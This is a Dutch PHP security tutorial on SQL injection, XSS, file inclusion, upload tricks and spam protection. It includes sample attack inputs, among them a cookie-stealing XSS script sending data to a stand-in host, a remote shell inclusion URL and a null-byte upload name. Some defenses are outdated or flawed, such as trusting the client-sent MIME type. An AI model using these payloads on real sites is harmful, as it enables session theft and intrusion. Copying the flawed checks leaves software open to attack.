login  Naam:   Wachtwoord: 
Registreer je!
 Tutorials

Tutorials > PHP


Gegevens:
Geschreven door:
Koen
Moeilijkheidsgraad:
Normaal
Hits:
23049
Punten:
Aantal punten:
 (4.9)
Aantal stemmen:
10
Stem:
Niet ingelogd
Nota's:
 Lees de nota's (15)
 

Tutorial:

Beveiliging in scripts


0. Voorwoord
Aangezien er nog steeds veel mensen zijn die niet zoveel kennen op het gebied van beveiliging in PHP, heb ik besloten om hierover een tutorial te schrijven. In deze tutorial behandelen we allerlei soorten van beveiliging in PHP op een manier die makkelijk te begrijpen is. Hier worden nogal wat onderwerpen behandeld die met kwade bedoelingen zouden kunnen gebruikt worden. Daarom leg ik alleen maar de essentie uit en geef ik enkel een klein voorbeeld, zodat de bedoeling duidelijk wordt. Als je hier dus gekomen bent om te leren hoe je kan inbreken bij websites, ga dan maar gezellig ergens anders naartoe, hier wordt enkel uit de doeken gedaan hoe je je scripts het beste kan beveiligen.
Aangezien ik ook maar een mens ben zou het kunnen dat er wat foutjes zijn geslopen in deze tutorial. Als je een foutje moest ontdekken, dan mag je me gerust een persoonlijk bericht sturen!
Veel plezier met de tutorial!
pijl top
1. SQL Injection
Om direct met de deur in huis te vallen, gaan we beginnen met een actueel beveiligingsprobleem, de zogeheten «SQL Injection». In principe houdt het in dat men je sql query kan manipuleren. Dit gebeurt bijvoorbeeld wanneer je een identifier, die wordt meegegeven in de url, zonder enige vorm van beveiliging in je query propt. Die identifier kan men dus gemakkelijk manipuleren.
Voorbeeld:
Stel je voor, je wilt graag gegevens over een gebruiker ophalen in je database aan de hand van het gebruikers ID. Hiervoor gebruik je volgende query:

mysql_query("SELECT * FROM `gebruikers` WHERE `usr_id` = '".$_GET['id']."'");

Nu, op het eerste zicht lijkt er helemaal niets mis met deze code. Maar toch is deze code gevaarlijk, stel je maar voor eens wat er zou kunnen gebeuren als de bezoeker niet braaf het ID in de url laat staan, maar daar zelf bijvoorbeeld «' OR '1'='1» invult, dan gaat je sql query er een stuk anders dan gepland uitzien!

mysql_query("SELECT * FROM `gebruikers` WHERE `usr_id` = '' OR '1' = '1'");
Hierdoor worden dus alle gebruikers geselecteerd, in plaats van enkel die ene gebruiker.

Dit was maar een simpel voorbeeldje om te laten zien hoe het in z'n werk kan gaan. Hoe dan ook, niet alle waarden voor «$_GET['id']» zijn even onschadelijk. Met de sql injection kan men onder andere mysql commando's uitvoeren, hele tabellen verwijderen, meerdere queries tegelijk uitvoeren, inlog-systemen omzeilen, enzovoort.
Opmerking: het voorbeeld handelt over GET waarden, maar ook POST waarden en Cookies zijn hier vatbaar voor!

Hoe gaan we nu moeten voorkomen dat men je query kan manipuleren?
Wel, er zijn verschillende stappen die je kan ondernemen om het hackers een stuk minder aangenaam te maken.
  • Quotes rond al je values
  • Quotes escapen
  • Gegevens valideren

Quotes rond al je values
Om te beginnen kan je het beste in je query quotes plaatsen rond alle values die manipuleerbaar zijn, die je dus niet manueel hebt ingevoerd. (POST, GET en cookies)
Zo maak je het hackers al een stuk lastiger, omdat ze dan eerst de value moeten sluiten door nog een quote in te voeren, voor ze kwaadaardige code kunnen uitvoeren.

Quotes escapen
Een tweede stap die je kan ondernemen is het escapen van quotes, door het escapen van een quote wordt er een backslash () voor de quote gezet.
Bijvoorbeeld: ' wordt '.
Opmerking: er is een optie in php.ini die ervoor zorgt dat post en get waarden automatisch worden geëscaped, «magic quotes». Deze optie staat standaard aan bij de nieuwere PHP versies.
De meest gebruikte functie voor het escapen van quotes is PHP.net: mysql_real_escape_string(). Oudere php versies ondersteunen deze functie nog niet en dus moeten we gebruik maken van een andere functie, PHP.net: adslashes().
Om achteraf, bij het ophalen van de gegevens die backslashes weer weg te halen gebruik je de functie PHP.net: stripslashes(). Hieronder staat een voorbeeld van hoe een functie om inhoud te escapen er zou kunnen uitzien, het controleert of magic quotes aanstaat, en of de functie mysql_real_escape_string() bestaat.
<?php
function escape_quotes($sInput) {
        $sOutput = null;
        if(!get_magic_quotes_gpc() == 0) {
                $sOutput = $sInput;              
        } else {
                if(function_exists('mysql_real_escape_string')) {
                        $sOutput = mysql_real_escape_string($sInput);     
                } else {
                        $sOutput = addslashes($sInput);         
                }
        }
        return $sOutput;
}
?>

Gegevens valideren
Een laatste en heel belangrijke stap in het tegengaan van sql injections is het valideren van je invoer.
Bijvoorbeeld wanneer je met een ID werkt, ga je moeten controleren of het ID wel numeriek is. Dit kan je met behulp van volgende functies:
PHP.net: is_numeric()
PHP.net: is_int()
PHP.net: ctype_digit()
PHP.net: ereg()
PHP.net: preg_match()
Voor de laatste twee (reguliere expressies) verwijs ik je naar deze tutorial.

pijl top
2. XSS Injection
De XSS injection wordt gebruikt om kwaadaardige HTML/Javascript in je code te injecteren.
XSS Injection komt voor op twee niveaus:
1. Lokaal
Wanneer je bijvoorbeeld bij een slecht beveiligde zoekfunctie invult:

<script>alert(/XSS Bug gevonden!/);</script>

Nogmaals, dit is maar een simpel voorbeeld om de werking van XSS uit te leggen, kwaadaardige XSS injections zijn ingewikkelder.
Je kan ook HTML invoeren, bijvoorbeeld:

<embed src="http://domein.ext/xss.swf" allowscriptaccess="always" />

2. Globaal
Globaal is exact hetzelfde, maar alleen wordt hier de HTML/Javascript in een database geïnjecteerd, waarna het wordt weergegeven aan iedereen die die pagina bezoekt. Dit wordt onder andere gebruikt om cookies te stelen. Bijvoorbeeld:

<script>document.location.href='http://domein.ext/steel-cookies.php?cookie='+document.cookie</script>


Het beveiligen hiertegen kan redelijk gemakkelijk, ofwel verwijder je alle html tags (PHP.net: striptags()), ofwel maak je de HTML onschadelijk, door < om te zetten naar &lt; , " naar &quot; , enzovoort.
Dit doe je met behulp van PHP.net: htmlentities().
Opmerking: om er voor te zorgen dat de single quotes (') ook worden omgezet, moet je de parameter ENT_QUOTES toevoegen aan de htmlentities() functie.
Een verbeterde versie van onze escape functie zou er dus zo kunnen uitzien:
<?php
function beveilig($sInput) {
        $sOutput = '';
        if(!get_magic_quotes_gpc() == 0) {
                $sOutput = $sInput;             
        } else {
                if(function_exists('mysql_real_escape_string')) {
                        $sOutput = mysql_real_escape_string($sInput);     
                } else {
                        $sOutput = addslashes($sInput);         
                }
        }
        $sOutput = htmlentities($sOutput, ENT_QUOTES);
        return $sOutput;
}
 
echo beveilig('<script>alert('hoi');</script>&');
?>


Misschien is het wel handig om de hele array $_POST of $_GET in één keer te beveiligen. Dit gaat niet met bovenstaande functie, hiervoor heb je een ingewikkeldere functie nodig:
<?php
function beveilig($sInput) {
        $sOutput = '';
        if(!get_magic_quotes_gpc() == 0) {
                $sOutput = $sInput;             
        } else {
                if(function_exists('mysql_real_escape_string')) {
                        $sOutput = mysql_real_escape_string($sInput);     
                } else {
                        $sOutput = addslashes($sInput);         
                }
        }
        $sOutput = htmlentities($sOutput, ENT_QUOTES);
        return $sOutput;
}
function beveilig_array($aInput) {
        if(!is_array($aInput)) {
                return false;
        }
        $aOutput = array();
        foreach($aInput as $iKey => $sValue) {
                if(is_array($sValue)) {
                        $aOutput[beveilig($iKey)] = beveilig_array($sValue);           
                } else {
                        $aOutput[beveilig($iKey)] = beveilig($sValue);
                }
 
        }
        return $aOutput;
}

$_POST = beveilig_array($_POST);
?>


Voortaan kan je deze functie dus gebruiken om je invoer te beveiligen tegen SQL én XSS Injections.
pijl top
4. Inclusion
Dit stukje heb ik er ook maar bij geschreven omdat er eigenlijk nog altijd veel wordt gesukkeld met het blindelings includen van pagina's. Denk maar aan pagina systemen (?pagina=home.php).
Ik zal je de onveiligheid hiervan uitleggen aan de hand van een voorbeeld:

<?php
include($_GET['pagina']);
?>


Stel je maar eens voor wat er zou gebeuren als we in de url ?pagina=http://domein.ext/shell.txt zetten.
Door deze onbeveiligde code is het mogelijk om kwaadaardige scripts te includen op je website, in dit geval wordt er een «shell» geïnclude, shells zijn kwaadaardige scripts die toestaan om shell commando's naar de server te sturen, en worden vaak gebruikt door hackers. Dit is dus een zeer gevaarlijke bug! Dit soort bug heet «RFI».
Ook wanneer je dit doet:

<?php
include($_GET['pagina'].'.php');
?>

De aanvaller kan nu nog steeds elk bestand includen, maar het wordt al iets moeilijker, omdat er een php extensie wordt toegevoegd. Dit kan men nog steeds omzeilen door een vraagteken toe te voegen: ?pagina=http://domein.ext/shell.txt?. Zo wordt «.php» in de querystring geplaatst, en dus genegeerd door shell.txt.
Opmerking: RFI is enkel mogelijk wanneer «allow_url_include» aan staat in PHP.ini.

Een andere, iets minder gevaarlijke vorm van deze bug, «LFI» ziet er zo uit:

<?php
if(file_exists('paginas/'.$_GET['pagina'].'.php')) {
     include('paginas/'.$_GET['pagina'].'.php');
}
?>


Op het eerste zicht lijkt deze code ongevaarlijk, omdat de pagina zich schijnbaar moet bevinden in de map «pagina's», en omdat wordt gecontroleerd of het bestand wel bestaat.
Maar dit bewijst het tegendeel:
Probeer maar eens om ?pagina=../index in te typen, wat zal resulteren in een oneindige loop!
Met deze bug kan men ook alle bestanden met .php als extensie includen die op de website staan.

Hoe gaan we onze scripts nu kunnen beveiligen tegen deze bugs?
Persoonlijk gebruik ik altijd het PHP.net: Switch() statement:

<?php
if(isset($_GET['pagina'])) {
        switch($_GET['pagina']) {
                case 'home':
                        include('paginas/home.php');
                        break;
                case 'about':
                        include('paginas/about.php');
                        break;
                case 'portfolio':
                        include('paginas/portfolio.php');
                        break;
                case 'contact':
                        include('paginas/contact.php');
                        break;
                default:
                        include('paginas/home.php');
        }
} else {
        include('paginas/home.php');
}
?>

Hier controleer je dus eerst of de pagina mag geïnclude worden.
pijl top
4. Uploading
Ook in het uploaden van bestanden schuilen soms veiligheidsbugs, denk maar aan volgende probleemsituaties:
  • Gebruiker uploadt een PHP bestand (Of een ander gevaarlijk type bestand)
  • Null Byte Exploit

Null Byte Exploit
De null byte exploit is een exploit dat wordt gebruikt om delen van strings te laten wegvallen, door ervoor de hexadecimale waarde van de null byte te plaatsen, %00.
Stel je maar eens voor wat je dan kan bereiken als je een bestand genaamd shell.php%00.jpg probeert te uploaden.
PHP ziet jpg als de extensie van het bestand, dus als je PHP script enkel hierop controleert zal het bestand door de beveiliging van PHP geraken. Wanneer het wordt geüpload laat het besturingssysteem de jpg extensie vallen omdat het niet meer verder leest na de null byte.

Hoe gaan we dit nu beveiligen?
Simpel, bij het uploaden van bestanden gaan we niet controleren op de extensie van een bestand, maar op het MIME Types.
Bij het uploaden vind je het MIME Type in de waarde van «$_POST['bestand']['type']», waarbij «bestand» de naam is van het veld.
Enkele veel gebruikte MIME Types:
  • GIF - image/gif
  • JPG - image/jpeg
  • PNG - image/png
  • PHP - application/x-httpd-php
  • ...
Opmerking: als «magic_quotes» aan staat, wordt de null byte geëscaped!
pijl top
5. Spambots

Veel mailboxen worden de dag van vandaag volgespamd met reclame voor viagra, enz.
Wat zijn de oorzaken?
  • Email-adressen als gewone tekst
  • Onbeveiligde contact formulieren
  • ...
Hoe kunnen we dit oplossen?
Email-adressen
In de plaats van een email-adres gewoon als tekst weer te geven, gaan we ze met behulp van de PHP.net: GD Library in een afbeelding stoppen.
Voorbeeld:
Voor je afbeelding:
<?php
echo '<img src="gd.php?im='.base64_encode('email@domein.ext').'" alt="mail" /><br />';
?>
 
gd.php:
<?php
$imagename = base64_decode($_GET['im']);
$strlen = strlen($imagename);
$pixelperchar = 7;
$charheight = 9;
$height = 20;
$image = imagecreate(($strlen * $pixelperchar), $height);
$bg = imagecolorallocate($image, 255, 255, 255);
$y = ($height - $charheight) / 2;
$color = imagecolorallocate($image, 0, 0, 0);
imagestring($image, 3, 0, $y, $imagename, $color);
Header('Content-Type: image/gif');
imagegif($image);
imagedestroy($image);
?>

Resultaat: mail
Opmerking: Dit script kan nogal veel rekenkracht verbruiken wanneer er misbruik van wordt gemaakt!
Daarom is het aangeraden om, wanneer je met een ledensysteem werkt, de afbeelding te genereren en op te slaan bij elke wijziging van een emailadres.
Zo voorkom je dat men het script gaat misbruiken!
Formulieren
Spambots crawlen webpagina's op zoek naar formulieren, vervolgens kijken ze welke input velden er moeten zijn, en tenslotte sturen ze een POST-request naar je pagina vol met spam!
Er zijn verschillende manieren om formulieren te beveiligen tegen spambots.
Hidden field
We kunnen bijvoorbeeld nagaan of de afzender een robot is door in het formulier een verborgen veld toe te voegen:

<input type="text" name="bot_test" style="display: none;" />

Hierna kunnen we met PHP kijken met behulp van de functie PHP.net: Empty() of het verborgen veld is ingevuld, en bijgevolg werd gegenereerd door een spambot.
CAPTCHA
Een andere mogelijkheid is het genereren van een afbeelding die een willekeurige code weergeeft die de bezoeker moet overtypen.
Om te leren werken met CAPTCHA's verwijs ik je door naar deze tutorial.
Vraag
Je kan ook bijvoorbeeld aan de bezoeker vragen om een simpel sommetje op te lossen, of een andere vraag, wees creatief ;-)
pijl top
6. Logging
Aangezien er elke dag wel weer iets nieuws wordt bedacht om websites te hacken kan je het beste je bezoekers nauwgezet in het oog houden door hun acties te loggen.
Je kan dus bijvoorbeeld bij elke actie van de bezoeker de datum, zijn IP, de pagina, de querystring, enzovoort opslaan.
Een goede manier om bijvoorbeeld SQL injecties op het spoor te komen is, wanneer er zich een mysql error voordoet, de error niet weer te geven op de pagina (or die(mysql_error()), maar de foutmelding met behulp van PHP.net: error_log() op te slaan samen met wat verdere gegegevens over het tijdstip en de bezoeker.
pijl top
7. Nawoord
Zo, dit was dan mijn bijdrage aan een veiligere PHP-wereld!
Ik hoop dat jullie iets hebben geleerd van deze tutorial.
Aanvullende commentaar en reacties kan je bij «Nota's» plaatsen.
pijl top


« Vorige tutorial : Rechten beheren Volgende tutorial : Simpel inlog script met sessies »

© 2002-2019 Sitemasters.be - Regels - Laadtijd: 0.012s